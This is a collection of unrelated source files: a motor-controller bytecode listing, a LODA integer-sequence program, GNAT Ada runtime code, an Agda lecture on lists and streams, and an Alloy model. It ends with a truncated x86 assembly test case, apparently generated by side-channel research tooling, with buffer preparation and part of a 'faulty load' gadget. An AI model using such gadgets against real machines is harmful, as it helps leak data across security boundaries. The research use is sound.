#Q JOF <OnKey1.1F> ::OnKey1.1T:: ;Board.Led1 = LED_OFF; {$D 784, 805} GET #Q, 0 ;LED_OFF TYPE #W, (U:01) PORT #D, $0001 ;Board.LED1 EXTN #D, $0029 ;setLED WPOR #D, #W, #Q ;Motor1.Active = false; {$D 829, 851} GET #Q, false TYPE #W, (B:01) PORT #D, $0010 ;Motor1.Active EXTN #D, $0030 ;setMotorActive WPOR #D, #W, #Q ;PrintLn("Motor1 is Deactive") {$D 859, 888} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.8> ;"Motor1 is Deactive" READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::OnKey1.2.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F JMP <OnKey1.1X> ;else {$D 898, 902} ::OnKey1.1F:: ;Board.Led1 = LED_RED; {$D 913, 934} GET #Q, 2 ;LED_RED TYPE #W, (U:01) PORT #D, $0001 ;Board.LED1 EXTN #D, $0029 ;setLED WPOR #D, #W, #Q ;Motor1.Active = true; {$D 958, 979} GET #Q, true TYPE #W, (B:01) PORT #D, $0010 ;Motor1.Active EXTN #D, $0030 ;setMotorActive WPOR #D, #W, #Q ;Motor1.Frequ = 10000; {$D 1016, 1037} GET #Q, 10000 TYPE #W, (U:04) PORT #D, $0012 ;Motor1.Frequ EXTN #D, $0034 ;setMotorFrequ WPOR #D, #W, #Q ;Motor1.Speed = 80; {$D 1078, 1096} GET #Q, 80 TYPE #W, (U:04) PORT #D, $0011 ;Motor1.Speed EXTN #D, $0032 ;setMotorSpeed WPOR #D, #W, #Q ;PrintLn("Motor1 is Active, Frequ = 10000, Speed = 80") {$D 1104, 1158} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.9> ;"Motor1 is Active, Frequ = 10000, Speed = 80" READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::OnKey1.4.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ::OnKey1.1X:: {$D 1166, 1167} ::OnKey1.@:: {$A False} FREE #L POP #L, #F, #Q, #V, #M IRET ;OnKey2 : {$D 1209, 1217} {$E $01000020} ::OnKey2:: {$N 'OnKey2', 'L', 0} FUNC <OnKey2> PUSH #L, #F, #Q, #X, #V, #M VAR #L, 0 {$A True} ;if (! Motor1.Active) {$D 1237, 1257} ::OnKey2.1C:: TYPE #W, (B:01) PORT #D, $0010 ;Motor1.Active EXTN #D, $002F ;getMotorActive RPOR #Q, #W, #D NOT #Q JOF <OnKey2.1X> ::OnKey2.1T:: ;return; {$D 1258, 1265} JMP <OnKey2.@> ::OnKey2.1X:: ;if (Motor1.Polar == 0) {$D 1271, 1293} ::OnKey2.2C:: TYPE #W, (U:01) PORT #D, $0013 ;Motor1.Polar EXTN #D, $0035 ;getMotorPolar RPOR #Q, #W, #D GET #X, 0 EQU #Q, #X JOF <OnKey2.2F> ::OnKey2.2T:: ;Board.Led1 = LED_BLUE; {$D 1304, 1326} GET #Q, 1 ;LED_BLUE TYPE #W, (U:01) PORT #D, $0001 ;Board.LED1 EXTN #D, $0029 ;setLED WPOR #D, #W, #Q ;Motor1.Polar = 1; {$D 1350, 1367} GET #Q, 1 TYPE #W, (U:01) PORT #D, $0013 ;Motor1.Polar EXTN #D, $0036 ;setMotorPolar WPOR #D, #W, #Q ;PrintLn("Motor1 is CCW, Polar = 1") {$D 1375, 1410} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.10> ;"Motor1 is CCW, Polar = 1" READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::OnKey2.3.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F JMP <OnKey2.2X> ;else {$D 1420, 1424} ::OnKey2.2F:: ;Board.Led1 = LED_RED; {$D 1435, 1456} GET #Q, 2 ;LED_RED TYPE #W, (U:01) PORT #D, $0001 ;Board.LED1 EXTN #D, $0029 ;setLED WPOR #D, #W, #Q ;Motor1.Polar = 0; {$D 1480, 1497} GET #Q, 0 TYPE #W, (U:01) PORT #D, $0013 ;Motor1.Polar EXTN #D, $0036 ;setMotorPolar WPOR #D, #W, #Q ;PrintLn("Motor1 is CW, Polar = 0") {$D 1505, 1539} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.11> ;"Motor1 is CW, Polar = 0" READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::OnKey2.5.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ::OnKey2.2X:: {$D 1547, 1548} ::OnKey2.@:: {$A False} FREE #L POP #L, #F, #Q, #X, #V, #M IRET ;OnKey3 : {$D 1590, 1598} {$E $01000011} ::OnKey3:: {$N 'OnKey3', 'L', 0} FUNC <OnKey3> PUSH #L, #F, #Q, #V, #M VAR #L, 0 {$A True} ;if (RetyFlag) {$D 1618, 1631} ::OnKey3.1C:: BASE #M, #G SEEK #M, $0000 ;RetyFlag TYPE #W, (B:01) LOAD #Q, #W, #M TST #Q JOF <OnKey3.1F> ::OnKey3.1T:: ;RetyFlag = False; {$D 1642, 1659} GET #Q, False BASE #M, #G SEEK #M, $0000 ;RetyFlag TYPE #W, (B:01) SAVE #M, #W, #Q ;Board.RETY = RETY_OFF; {$D 1693, 1715} GET #Q, 0 ;RETY_OFF TYPE #W, (U:01) PORT #D, $0001 ;Board.RETY EXTN #D, $002B ;setGPIO WPOR #D, #W, #Q ;PrintLn("RETY set OFF") {$D 1723, 1746} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.12> ;"RETY set OFF" READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::OnKey3.2.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F JMP <OnKey3.1X> ;else {$D 1756, 1760} ::OnKey3.1F:: ;RetyFlag = True; {$D 1771, 1787} GET #Q, True BASE #M, #G SEEK #M, $0000 ;RetyFlag TYPE #W, (B:01) SAVE #M, #W, #Q ;Board.RETY = RETY_ON; {$D 1823, 1844} GET #Q, 1 ;RETY_ON TYPE #W, (U:01) PORT #D, $0001 ;Board.RETY EXTN #D, $002B ;setGPIO WPOR #D, #W, #Q ;PrintLn("RETY set ON" ) {$D 1854, 1877} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.13> ;"RETY set ON" READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::OnKey3.4.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ::OnKey3.1X:: {$D 1885, 1886} ::OnKey3.@:: {$A False} FREE #L POP #L, #F, #Q, #V, #M IRET ;OnKey4 : {$D 1928, 1936} {$E $01000010} ::OnKey4:: {$N 'OnKey4', 'L', 0} FUNC <OnKey4> PUSH #L, #F, #V, #M VAR #L, 0 {$A True} ;PrintLn("Beep Test") {$D 1956, 1976} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.14> ;"Beep Test" READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::OnKey4.1.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;Board.Beep(250, 3) {$D 2023, 2041} VAR #F, 3 GET #V, 250 BASE #M, #F SEEK #M, $0001 ;Width TYPE #W, (U:01) SAVE #M, #W, #V ;Beep[1]:Width GET #V, 3 BASE #M, #F SEEK #M, $0002 ;Count TYPE #W, (U:01) SAVE #M, #W, #V ;Beep[2]:Count TYPE #W, (V:01) CAPI [&00002C] ;Beep FREE #F {$D 2044, 2045} ::OnKey4.@:: {$A False} FREE #L POP #L, #F, #V, #M IRET ;main {$D 2049, 2053} ::main:: {$N 'main', 'P', 0} {$N 'main', 'L', 2} {$V 'Twise', $000000, 'U', 4, 0} {$V 'OldTwise', $000004, 'U', 4, 0} FUNC <main> VAR #P, 0 VAR #L, 8 {$A True} ;Welcome() {$D 2060, 2069} VAR #F, 1 TYPE #W, (V:01) CALL <Welcome> FREE #F ;board.LED1 = LED_OFF; {$D 2076, 2097} GET #Q, 0 ;LED_OFF TYPE #W, (U:01) PORT #D, $0001 ;Board.LED1 EXTN #D, $0029 ;setLED WPOR #D, #W, #Q ;board.LED2 = LED_OFF; {$D 2101, 2122} GET #Q, 0 ;LED_OFF TYPE #W, (U:01) PORT #D, $0002 ;Board.LED2 EXTN #D, $0029 ;setLED WPOR #D, #W, #Q ;uint Twise = 0; {$D 2150, 2165} GET #Q, 0 BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) SAVE #M, #W, #Q ;uint OldTwise = 0; {$D 2193, 2211} GET #Q, 0 BASE #M, #L SEEK #M, $0004 ;OldTwise TYPE #W, (U:04) SAVE #M, #W, #Q ;RetyFlag = False; {$D 2274, 2291} GET #Q, False BASE #M, #G SEEK #M, $0000 ;RetyFlag TYPE #W, (B:01) SAVE #M, #W, #Q ;OpenEvent() {$D 2319, 2330} INTR $8000 FREE #F ;repeat {$D 2337, 2343} ::main.4L:: ;Twise = Board.TWIST; {$D 2392, 2412} TYPE #W, (U:02) PORT #D, $0001 ;Board.TWIST EXTN #D, $002A ;getSensor RPOR #Q, #W, #D BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) SAVE #M, #W, #Q ;if ((Motor1.Active) && (Twise>0)) {$D 2463, 2496} ::main.5C:: TYPE #W, (B:01) PORT #D, $0010 ;Motor1.Active EXTN #D, $002F ;getMotorActive RPOR #Q, #W, #D BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) LOAD #X, #W, #M GET #Y, 0 GTN #X, #Y AND #Q, #X JOF <main.5X> ::main.5T:: ;if ((Twise +1 < OldTwise) || (Twise - 1 > OldTwise)) {$D 2603, 2655} ::main.6C:: BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) LOAD #Q, #W, #M GET #X, 1 ADD #Q, #X BASE #M, #L SEEK #M, $0004 ;OldTwise TYPE #W, (U:04) LOAD #X, #W, #M LTN #Q, #X BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) LOAD #X, #W, #M GET #Y, 1 SUB #X, #Y BASE #M, #L SEEK #M, $0004 ;OldTwise TYPE #W, (U:04) LOAD #Y, #W, #M GTN #X, #Y ORR #Q, #X JOF <main.6X> ::main.6T:: ;Motor1.Speed = Twise; {$D 2712, 2733} BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) LOAD #Q, #W, #M TYPE #W, (U:04) PORT #D, $0011 ;Motor1.Speed EXTN #D, $0032 ;setMotorSpeed WPOR #D, #W, #Q ;Print("Motor1 Speed = " # Twise #\n) {$D 2743, 2779} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <<EMAIL>> ;"Motor1 Speed = " READ #V, #W, #D BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) LOAD #X, #W, #M STRA #V, #X GET #X, \n STRA #V, #X BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;Print[1]:Text TYPE #W, (V:01) CAPI [&000003] ;Print ::main.7.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;OldTwise = Twise; {$D 2816, 2833} BASE #M, #L SEEK #M, $0000 ;Twise TYPE #W, (U:04) LOAD #Q, #W, #M BASE #M, #L SEEK #M, $0004 ;OldTwise TYPE #W, (U:04) SAVE #M, #W, #Q ::main.6X:: ::main.5X:: ;until error; {$D 2858, 2870} ::main.4C:: MOV #Q, #E ;Global.Error TST #Q JOF <main.4L> ::main.4X:: ;CloseEvent() {$D 2900, 2912} INTR $0000 FREE #F {$D 2915, 2916} ::main.@:: {$A False} INTR $0000 FREE #L FREE #P JMP <@CRABSCRIPT.@>
oeis/064/A064628.asm
neoneye/loda-programs
11
17216
<filename>oeis/064/A064628.asm ; A064628: Floor(4^n / 3^n). ; 1,1,1,2,3,4,5,7,9,13,17,23,31,42,56,74,99,133,177,236,315,420,560,747,996,1328,1771,2362,3149,4199,5599,7466,9954,13273,17697,23596,31462,41950,55933,74577,99437,132583,176777,235703,314271,419028,558704,744938,993251,1324335,1765780,2354374,3139166,4185554,5580739,7440986,9921315,13228420,17637893,23517191,31356255,41808340,55744454,74325939,99101252,132135003,176180004,234906672,313208896,417611861,556815815,742421087,989894783,1319859711,1759812949,2346417265,3128556353,4171408471,5561877962 mov $1,24 pow $1,$0 mov $2,18 pow $2,$0 div $1,$2 mov $0,$1
llvm-gcc-4.2-2.9/gcc/ada/a-wwboio.adb
vidkidz/crossbridge
1
22867
<gh_stars>1-10 ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- A D A . W I D E _ T E X T _ I O . W I D E _ B O U N D E D _ I O -- -- -- -- B o d y -- -- -- -- Copyright (C) 1997-2005, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Ada.Wide_Text_IO; use Ada.Wide_Text_IO; with Ada.Unchecked_Deallocation; package body Ada.Wide_Text_IO.Wide_Bounded_IO is type Wide_String_Access is access all Wide_String; procedure Free (WSA : in out Wide_String_Access); -- Perform an unchecked deallocation of a non-null string ---------- -- Free -- ---------- procedure Free (WSA : in out Wide_String_Access) is Null_Wide_String : constant Wide_String := ""; procedure Deallocate is new Ada.Unchecked_Deallocation (Wide_String, Wide_String_Access); begin -- Do not try to free statically allocated null string if WSA.all /= Null_Wide_String then Deallocate (WSA); end if; end Free; -------------- -- Get_Line -- -------------- function Get_Line return Wide_Bounded.Bounded_Wide_String is begin return Wide_Bounded.To_Bounded_Wide_String (Get_Line); end Get_Line; -------------- -- Get_Line -- -------------- function Get_Line (File : File_Type) return Wide_Bounded.Bounded_Wide_String is begin return Wide_Bounded.To_Bounded_Wide_String (Get_Line (File)); end Get_Line; -------------- -- Get_Line -- -------------- procedure Get_Line (Item : out Wide_Bounded.Bounded_Wide_String) is Buffer : Wide_String (1 .. 1000); Last : Natural; Str1 : Wide_String_Access; Str2 : Wide_String_Access; begin Get_Line (Buffer, Last); Str1 := new Wide_String'(Buffer (1 .. Last)); while Last = Buffer'Last loop Get_Line (Buffer, Last); Str2 := new Wide_String'(Str1.all & Buffer (1 .. Last)); Free (Str1); Str1 := Str2; end loop; Item := Wide_Bounded.To_Bounded_Wide_String (Str1.all); end Get_Line; -------------- -- Get_Line -- -------------- procedure Get_Line (File : File_Type; Item : out Wide_Bounded.Bounded_Wide_String) is Buffer : Wide_String (1 .. 1000); Last : Natural; Str1 : Wide_String_Access; Str2 : Wide_String_Access; begin Get_Line (File, Buffer, Last); Str1 := new Wide_String'(Buffer (1 .. Last)); while Last = Buffer'Last loop Get_Line (File, Buffer, Last); Str2 := new Wide_String'(Str1.all & Buffer (1 .. Last)); Free (Str1); Str1 := Str2; end loop; Item := Wide_Bounded.To_Bounded_Wide_String (Str1.all); end Get_Line; --------- -- Put -- --------- procedure Put (Item : Wide_Bounded.Bounded_Wide_String) is begin Put (Wide_Bounded.To_Wide_String (Item)); end Put; --------- -- Put -- --------- procedure Put (File : File_Type; Item : Wide_Bounded.Bounded_Wide_String) is begin Put (File, Wide_Bounded.To_Wide_String (Item)); end Put; -------------- -- Put_Line -- -------------- procedure Put_Line (Item : Wide_Bounded.Bounded_Wide_String) is begin Put_Line (Wide_Bounded.To_Wide_String (Item)); end Put_Line; -------------- -- Put_Line -- -------------- procedure Put_Line (File : File_Type; Item : Wide_Bounded.Bounded_Wide_String) is begin Put_Line (File, Wide_Bounded.To_Wide_String (Item)); end Put_Line; end Ada.Wide_Text_IO.Wide_Bounded_IO;
agda/course/2017-conor_mcbride_cs410/CS410-17-master/lectures/Lec6.agda
haroldcarr/learn-haskell-coq-ml-etc
36
4253
<filename>agda/course/2017-conor_mcbride_cs410/CS410-17-master/lectures/Lec6.agda {-# OPTIONS --type-in-type #-} module Lec6 where open import Lec1Done ListF : Set -> Set -> Set ListF X T = One + (X * T) data List (X : Set) : Set where <_> : (ListF X) (List X) -> (List X) infixr 4 _,-_ listF : {X T U : Set} -> (T -> U) -> (ListF X) T -> (ListF X) U listF g (inl <>) = inl <> listF g (inr (x , t)) = inr (x , g t) pattern [] = < inl <> > pattern _,-_ x xs = < inr (x , xs) > {-(-} mkList : {X : Set} -> (ListF X) (List X) -> List X mkList = <_> {- mkList (inl <>) = [] mkList (inr (x , xs)) = x ,- xs -} {-)-} {-(-} foldr : {X T : Set} -> ((ListF X) T -> T) -> List X -> T foldr alg [] = alg (inl <>) foldr alg (x ,- xs) = alg (inr (x , foldr alg xs)) ex1 = foldr mkList (1 ,- 2 ,- 3 ,- []) {-)-} {-(-} length : {X : Set} -> List X -> Nat length = foldr \ { (inl <>) -> zero ; (inr (x , n)) -> suc n } {-)-} record CoList (X : Set) : Set where coinductive field force : (ListF X) (CoList X) open CoList {-(-} []~ : {X : Set} -> CoList X force []~ = inl <> _,~_ : {X : Set} -> X -> CoList X -> CoList X force (x ,~ xs) = inr (x , xs) infixr 4 _,~_ {-)-} {-(-} unfoldr : {X S : Set} -> (S -> (ListF X) S) -> S -> CoList X force (unfoldr coalg s) with coalg s force (unfoldr coalg s) | inl <> = inl <> force (unfoldr coalg s) | inr (x , s') = inr (x , unfoldr coalg s') ex2 = unfoldr force (1 ,~ 2 ,~ 3 ,~ []~) {-)-} {-(-} repeat : {X : Set} -> X -> CoList X repeat = unfoldr \ x -> inr (x , x) {-)-} {-(-} prefix : {X : Set} -> Nat -> CoList X -> List X prefix zero xs = [] prefix (suc n) xs with force xs prefix (suc n) xs | inl <> = [] prefix (suc n) xs | inr (x , xs') = x ,- prefix n xs' ex2' = prefix 3 ex2 {-)-} StreamF : Set -> Set -> Set StreamF X S = X * S data Funny (X : Set) : Set where <_> : (StreamF X) (Funny X) -> Funny X funny : {X : Set} -> Funny X -> Zero funny < x , xf > = funny xf record Stream (X : Set) : Set where coinductive field hdTl : (StreamF X) (Stream X) open Stream {-(-} forever : {X : Set} -> X -> Stream X fst (hdTl (forever x)) = x snd (hdTl (forever x)) = forever x {-)-} natsFrom : Nat -> Stream Nat fst (hdTl (natsFrom n)) = n snd (hdTl (natsFrom n)) = natsFrom (suc n) sprefix : {X : Set} -> Nat -> Stream X -> List X -- could be Vec X n sprefix zero xs = [] sprefix (suc n) xs with hdTl xs sprefix (suc n) xs | x , xs' = x ,- sprefix n xs' {-(-} unfold : {X S : Set} -> (S -> X * S) -> S -> Stream X hdTl (unfold coalg s) with coalg s hdTl (unfold coalg s) | x , s' = x , unfold coalg s' {-)-} natsFrom' : Nat -> Stream Nat natsFrom' = unfold \ n -> n , suc n data Two : Set where tt ff : Two So : Two -> Set So tt = One So ff = Zero isSuc : Nat -> Two isSuc zero = ff isSuc (suc n) = tt {- div : (x y : Nat) -> So (isSuc y) -> Nat div x zero () div x (suc y) p = {!!} -} data Poly (X : Set) : Set where var' : X -> Poly X konst' : Two -> Poly X _+'_ _*'_ : Poly X -> Poly X -> Poly X Eval : {X : Set} -> (X -> Set) -> Poly X -> Set Eval var (var' x) = var x Eval var (konst' b) = So b Eval var (p +' q) = Eval var p + Eval var q Eval var (p *' q) = Eval var p * Eval var q eval : {X : Set}(u v : X -> Set)(p : Poly X) -> ((x : X) -> u x -> v x) -> Eval u p -> Eval v p eval u v (var' i) f x = f i x eval u v (konst' b) f x = x eval u v (p +' q) f (inl x) = inl (eval u v p f x) eval u v (p +' q) f (inr x) = inr (eval u v q f x) eval u v (p *' q) f (x , y) = eval u v p f x , eval u v q f y data Mu (p : Poly One) : Set where <_> : Eval (\ _ -> Mu p) p -> Mu p NatP : Poly One NatP = konst' tt +' var' <> NAT = Mu NatP ze : NAT ze = < (inl <>) > su : NAT -> NAT su n = < (inr n) > TreeP : Poly One TreeP = konst' tt +' (var' <> *' var' <>) -- What's a one-hole context in a Mu P? Diff : Poly One -> Poly One Diff (var' x) = konst' tt Diff (konst' x) = konst' ff Diff (p +' q) = Diff p +' Diff q Diff (p *' q) = (Diff p *' q) +' (p *' Diff q) plug : {X : Set}(p : Poly One) -> X -> Eval (\ _ -> X) (Diff p) -> Eval (\ _ -> X) p plug (var' <>) x <> = x plug (konst' b) x () plug (p +' q) x (inl xp') = inl (plug p x xp') plug (p +' q) x (inr xq') = inr (plug q x xq') plug (p *' q) x (inl (xp' , xq)) = plug p x xp' , xq plug (p *' q) x (inr (xp , xq')) = xp , plug q x xq' Context : Poly One -> Set Context p = List (Eval (\ _ -> Mu p) (Diff p)) plugs : (p : Poly One) -> Mu p -> Context p -> Mu p plugs p t [] = t plugs p t (t' ,- t's) = plugs p < plug p t t' > t's TernaryP : Poly One TernaryP = konst' tt +' (var' <> *' (var' <> *' var' <>)) fold : (p : Poly One){T : Set} -> (Eval (\ _ -> T) p -> T) -> Mu p -> T fold p {T} alg < x > = alg (evalFold p x) where evalFold : (q : Poly One) -> Eval (\ _ -> Mu p) q -> Eval (\ _ -> T) q evalFold (var' <>) x = fold p alg x evalFold (konst' b) x = x evalFold (q +' r) (inl y) = inl (evalFold q y) evalFold (q +' r) (inr y) = inr (evalFold r y) evalFold (q *' r) (y , z) = evalFold q y , evalFold r z record Nu (p : Poly One) : Set where coinductive field out : Eval (\ _ -> Nu p) p -- What's the connection between polynomials and containers? _-:>_ : {I : Set} -> (I -> Set) -> (I -> Set) -> (I -> Set) (S -:> T) i = S i -> T i [_] : {I : Set} -> (I -> Set) -> Set [ P ] = forall i -> P i -- [_] {I} P = (i : I) -> P i All : {X : Set} -> (X -> Set) -> (List X -> Set) All P [] = One All P (x ,- xs) = P x * All P xs record _|>_ (I O : Set) : Set where field Cuts : O -> Set -- given o : O, how may we cut it? inners : {o : O} -> Cuts o -> List I -- given how we cut it, what are -- the shapes of its pieces? record Cutting {I O}(C : I |> O)(P : I -> Set)(o : O) : Set where constructor _8><_ -- "scissors" open _|>_ C field cut : Cuts o -- we decide how to cut o pieces : All P (inners cut) -- then we give all the pieces. infixr 3 _8><_ data Interior {I}(C : I |> I)(T : I -> Set)(i : I) : Set where -- either... tile : T i -> Interior C T i -- we have a tile that fits, or... <_> : Cutting C (Interior C T) i -> -- ...we cut, then tile the pieces. Interior C T i _+L_ : {X : Set} -> List X -> List X -> List X [] +L ys = ys (x ,- xs) +L ys = x ,- (xs +L ys) polyCon : {I : Set} -> Poly I -> I |> One _|>_.Cuts (polyCon p) <> = Eval (\ _ -> One) p _|>_.inners (polyCon (var' i)) <> = i ,- [] _|>_.inners (polyCon (konst' x)) s = [] _|>_.inners (polyCon (p +' q)) (inl xp) = _|>_.inners (polyCon p) xp _|>_.inners (polyCon (p +' q)) (inr xq) = _|>_.inners (polyCon q) xq _|>_.inners (polyCon (p *' q)) (sp , sq) = _|>_.inners (polyCon p) sp +L _|>_.inners (polyCon q) sq Choose : {I J : Set} -> (I -> Set) -> (J -> Set) -> (I + J) -> Set Choose X Y (inl i) = X i Choose X Y (inr j) = Y j data MU {I -- what sorts of "elements" do we store? J -- what sorts of "nodes" do we have? : Set} (F : J -> Poly (I + J)) -- what is the structure of each sort of node? (X : I -> Set) -- what are the elements? (j : J) -- what sort is the outermost node? : Set where <_> : Eval (Choose X (MU F X)) -- subnodes in recursive positions (F j) -> MU F X j VecF : Nat -> Poly (One + Nat) VecF zero = konst' tt VecF (suc n) = (var' (inl <>)) *' (var' (inr n)) VEC : Nat -> Set -> Set VEC n X = MU VecF (\ _ -> X) n vnil : {X : Set} -> VEC zero X vnil = < <> > vcons : {X : Set}{n : Nat} -> X -> VEC n X -> VEC (suc n) X vcons x xs = < (x , xs) > gmap : {I -- what sorts of "elements" do we store? J -- what sorts of "nodes" do we have? : Set} {F : J -> Poly (I + J)} -- what is the structure of each sort of node? {X Y : I -> Set} -> -- what are the elements? ((i : I) -> X i -> Y i) -> (j : J) -> MU F X j -> MU F Y j gmapHelp : ∀ {I J} (F : J → Poly (I + J)) {X Y : I → Set} (w : Poly (I + J)) → ((i : I) → X i → Y i) → Eval (Choose X (MU F X)) w → Eval (Choose Y (MU F Y)) w gmap {F = F} f j < xt > = < gmapHelp F (F j) f xt > gmapHelp F (var' (inl i)) f x = f i x gmapHelp F (var' (inr j)) f t = gmap f j t gmapHelp F (konst' x) f v = v gmapHelp F (p +' q) f (inl xp) = inl (gmapHelp F p f xp) gmapHelp F (p +' q) f (inr xq) = inr (gmapHelp F q f xq) gmapHelp F (p *' q) f (xp , xq) = (gmapHelp F p f xp) , (gmapHelp F q f xq)
alloy4fun_models/trashltl/models/4/PB6cGnR6gpc9bGeZJ.als
Kaixi26/org.alloytools.alloy
0
1905
<gh_stars>0 open main pred idPB6cGnR6gpc9bGeZJ_prop5 { eventually ( some f:File | f' in Trash') } pred __repair { idPB6cGnR6gpc9bGeZJ_prop5 } check __repair { idPB6cGnR6gpc9bGeZJ_prop5 <=> prop5o }
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0x84_notsx.log_166_2093.asm
ljhsiun2/medusa
9
93214
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1360e, %rdx dec %r10 mov $0x6162636465666768, %r14 movq %r14, %xmm3 and $0xffffffffffffffc0, %rdx vmovaps %ymm3, (%rdx) dec %r14 lea addresses_WC_ht+0x684c, %r10 nop nop nop nop nop add $3655, %rbp mov (%r10), %rax nop nop nop dec %rax lea addresses_WT_ht+0x1eca8, %rcx nop nop nop nop nop dec %r8 mov (%rcx), %rbp nop cmp %r10, %r10 lea addresses_D_ht+0x1746e, %rcx clflush (%rcx) nop and %r14, %r14 movb (%rcx), %r8b nop sub %r10, %r10 lea addresses_UC_ht+0xd2c6, %rbp nop nop nop nop cmp %r10, %r10 mov $0x6162636465666768, %rdx movq %rdx, (%rbp) nop nop nop nop sub $17875, %r8 lea addresses_WC_ht+0x11048, %rsi lea addresses_normal_ht+0xce5c, %rdi nop xor %r8, %r8 mov $104, %rcx rep movsq nop nop nop nop nop add %rax, %rax lea addresses_D_ht+0x13fac, %r10 sub %r8, %r8 movb (%r10), %r14b nop nop nop nop nop sub $18562, %rsi lea addresses_WC_ht+0x16c98, %r14 clflush (%r14) nop nop nop nop nop xor $25735, %rcx mov $0x6162636465666768, %rsi movq %rsi, (%r14) nop nop nop nop nop xor $61164, %r10 lea addresses_A_ht+0x13084, %rcx add %rdx, %rdx mov (%rcx), %r14d nop nop cmp $57428, %rbp lea addresses_A_ht+0x1384c, %rdi nop nop and $8805, %r8 movw $0x6162, (%rdi) xor $18949, %rsi lea addresses_A_ht+0xb047, %r8 add %rdx, %rdx mov $0x6162636465666768, %rdi movq %rdi, (%r8) nop nop nop nop nop add %rbp, %rbp lea addresses_A_ht+0x143a0, %rcx add $14858, %rdi mov $0x6162636465666768, %r10 movq %r10, %xmm5 movups %xmm5, (%rcx) lfence lea addresses_D_ht+0x1748c, %rsi lea addresses_WT_ht+0x142bc, %rdi clflush (%rdi) nop nop nop nop inc %r10 mov $92, %rcx rep movsq nop nop nop add %rbp, %rbp lea addresses_D_ht+0xfc86, %rdx nop nop xor %r14, %r14 movw $0x6162, (%rdx) and $51815, %rdx lea addresses_normal_ht+0x934c, %rax nop nop cmp $21683, %r14 movups (%rax), %xmm1 vpextrq $0, %xmm1, %rdx nop nop nop nop xor %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %r9 push %rbx push %rsi // Store lea addresses_WT+0x1bb24, %rbx nop nop dec %r12 movl $0x51525354, (%rbx) nop nop add %rbx, %rbx // Store lea addresses_A+0x610c, %r11 nop and %rsi, %rsi movb $0x51, 